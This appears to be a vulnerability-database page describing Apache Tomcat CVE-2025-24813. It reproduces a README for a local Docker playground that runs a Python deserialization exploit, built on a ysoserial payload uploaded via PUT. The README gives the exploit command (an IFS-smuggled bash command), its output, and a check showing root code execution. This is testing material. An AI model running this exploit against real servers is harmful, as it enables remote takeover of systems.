关联漏洞
标题：
Apache Tomcat 环境问题漏洞
(CVE-2025-24813)
描述：Apache Tomcat是美国阿帕奇（Apache）基金会的一款轻量级Web应用服务器。用于实现对Servlet和JavaServer Page（JSP）的支持。 Apache Tomcat 11.0.0-M1至11.0.2版本、10.1.0-M1至10.1.34版本和9.0.0.M1至9.0.98版本存在环境问题漏洞。攻击者利用该漏洞可以远程执行代码或泄露敏感信息。
描述
A playground to test the RCE exploit for tomcat CVE-2025-24813
介绍
Tomcat CVE-2025-24813 playground
================================
Exploit was forked from https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md (did not work for me)
Content
=======
1. *ROOT.war* is a minimal app with one servlet including apache-common-3.1 and spawing a session
2. *ysoserial.jar* taken original from ysoserial repo (https://github.com/frohoff/ysoserial)
3. *Dockerfile* to build a vulnerable installation
4. *CVE_2025_24813.py* actual exlploit
Setup
=====
Build and run the vulnerable tomcat installation
```
$ docker build -t tomcat-cve-2025-24813 .
$ docker run --name tomcat-cve-2025-24813 -it -d -p 8080:8080 tomcat-cve-2025-24813
```
Exploit
=======
```
$ python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN' http://localhost:8080
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
---=== TOMCAT RCE PLAYGROUND by u238 ===---
[*] Session ID: u238
[+] Server is writable via PUT: http://localhost:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/PWN
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8080/u238.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
```
Check (after exploit)
=====
```
$ podman exec tomcat-cve-2025-24813 cat /tmp/PWN
uid=0(root) gid=0(root) groups=0(root)
```
文件快照
[4.0K] /data/pocs/e6c3d8b9209bd3f6f66d61879a321bb4f92c97c8
├── [ 10K] CVE_2025_24813.py
├── [ 420] Dockerfile
├── [1.0K] LICENSE
├── [3.0K] README.md
├── [ 12M] ROOT.war
└── [ 57M] ysoserial.jar
0 directories, 6 files
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